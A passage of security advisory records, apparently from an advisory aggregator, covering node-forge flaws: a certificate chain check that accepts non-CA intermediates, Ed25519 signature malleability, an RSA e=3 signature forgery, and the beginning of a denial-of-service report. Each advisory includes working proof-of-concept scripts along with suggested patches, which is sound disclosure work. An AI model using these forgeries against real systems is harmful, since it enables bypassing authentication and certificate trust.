rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: 'commonName', value: 'Legitimate Root CA' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: 'basicConstraints', cA: true, critical: true },\n  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: 'commonName', value: 'victim.example.com' },\n  { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');\n  console.log('  This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-26T22:05:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","https://nvd.nist.gov/vuln/detail/CVE-2026-33896","https://github.com/advisories/GHSA-2328-f5f3-gj25"],"source_kind":"github","identifiers":["GHSA-2328-f5f3-gj25","CVE-2026-33896"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T23:00:10.996Z","updated_at":"2026-11-05T13:05:14.196Z","epss_percentage":0.00361,"epss_percentile":0.29637,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMzI4LWY1ZjMtZ2oyNc4ABUWX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yMzI4LWY1ZjMtZ2oyNc4ABUWX","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.0","vulnerable_version_range":"\u003c= 1.3.3"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMzI4LWY1ZjMtZ2oyNc4ABUWX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNjdmLTI4eGctMjJyd84ABUWW","url":"https://github.com/advisories/GHSA-q67f-28xg-22rw","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error('signature must be a 64-byte Buffer');\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error('publicKeyBytes must be 32 bytes');\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult('forge', { ok }, { ok: okTweaked }),\n    ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] \u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-26T22:04:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","https://nvd.nist.gov/vuln/detail/CVE-2022-35961","https://nvd.nist.gov/vuln/detail/CVE-2026-25793","https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","https://nvd.nist.gov/vuln/detail/CVE-2026-33895","https://github.com/advisories/GHSA-q67f-28xg-22rw"],"source_kind":"github","identifiers":["GHSA-q67f-28xg-22rw","CVE-2026-33895"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T23:00:10.996Z","updated_at":"2026-11-05T13:05:14.196Z","epss_percentage":0.00527,"epss_percentile":0.44529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNjdmLTI4eGctMjJyd84ABUWW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNjdmLTI4eGctMjJyd84ABUWW","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.0","vulnerable_version_range":"\u003c 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNjdmLTI4eGctMjJyd84ABUWW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcHA1LTV2NmMtNGp3cM4ABUWV","url":"https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  ","description":"## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst crypto = require('crypto');\nconst forge = require('./forge/lib/index');\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  '300d060960864801650304020105000420',\n  'hex'\n);\n\nconst toBig = b =\u003e BigInt('0x' + (b.toString('hex') || '0'));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = '0' + h;\n  const b = Buffer.from(h, 'hex');\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString('utf8'), 'utf8');\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge's default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });\n  const nBytes = Buffer.from(jwk.n, 'base64url');\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, 'base64url'));\n  if (e !== 3n) throw new Error('expected e=3');\n\n  const msg = Buffer.from('forged-message-0', 'utf8');\n  const digest = crypto.createHash('sha256').update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error('no candidate in interval');\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from('control-message', 'utf8');\n  const controlSig = crypto.sign('sha256', controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify('sha256', controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify('sha256', msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');\n  console.log('control-node:', controlNode);\n  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');\n  console.log('forgery (node/OpenSSL):', forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +\n+              'a valid RSASSA-PKCS1-v1_5 package.');\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error('Encryption block is invalid.');\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-26T22:02:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765","https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","https://datatracker.ietf.org/doc/html/rfc2313#section-8","https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","https://www.rfc-editor.org/rfc/rfc8017.html","https://nvd.nist.gov/vuln/detail/CVE-2026-33894","https://github.com/advisories/GHSA-ppp5-5v6c-4jwp"],"source_kind":"github","identifiers":["GHSA-ppp5-5v6c-4jwp","CVE-2026-33894"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T23:00:10.996Z","updated_at":"2026-11-05T13:05:14.197Z","epss_percentage":0.00481,"epss_percentile":0.41508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHA1LTV2NmMtNGp3cM4ABUWV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcHA1LTV2NmMtNGp3cM4ABUWV","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.0","vulnerable_version_range":"\u003c 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHA1LTV2NmMtNGp3cM4ABUWV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01bTZxLWcyNXItbXZ3eM4ABUWU","url":"https://github.com/advisories/GHSA-5m6q-g25r-mvwx","title":"Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input","description":"## Summary\n\nA Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.\nAffected Package\n\nPackage name: node-forge (npm: node-forge)\nRepository: https://github.com/digitalbazaar/forge\nAffected versions: All versions (including latest)\nAffected file: lib/jsbn.js, function bnModInverse()\nRoot cause component: Bundled copy of the jsbn (JavaScript Big Number) library\n\n## Vulnerability Details\n\nType: Denial of Service (DoS)\nCWE: CWE-835 (Loop with Unreachable Exit Condition)\nAttack vector: Network (if the application processes untrusted input that reaches modInverse)\nPrivileges required: None\nUser interaction: None\nImpact: Availability (process hangs indefinitely)\nSuggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)\n\n## Root Cause Analysis\n\nThe BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.\nMathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m \u003e 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.\nThe relevant code path in lib/jsbn.js:\n```js\njavascriptfunction bnModInverse(m) {\n  // ... setup ...\n  // No check for this == 0\n  // Enters Extended Euclidean Algorithm loop that never terminates when this == 0\n}\n```\n\n## Attack Scenario\n\nAny application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:\n\nDSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.\nCustom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.\nAny cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().\n\nA single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.\n\n## Proof of Concept\n\nEnvironment Setup\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n```\nReproduction (poc.js)\nA single script that safely detects the vulnerability using a child process with timeout. The parent process is never 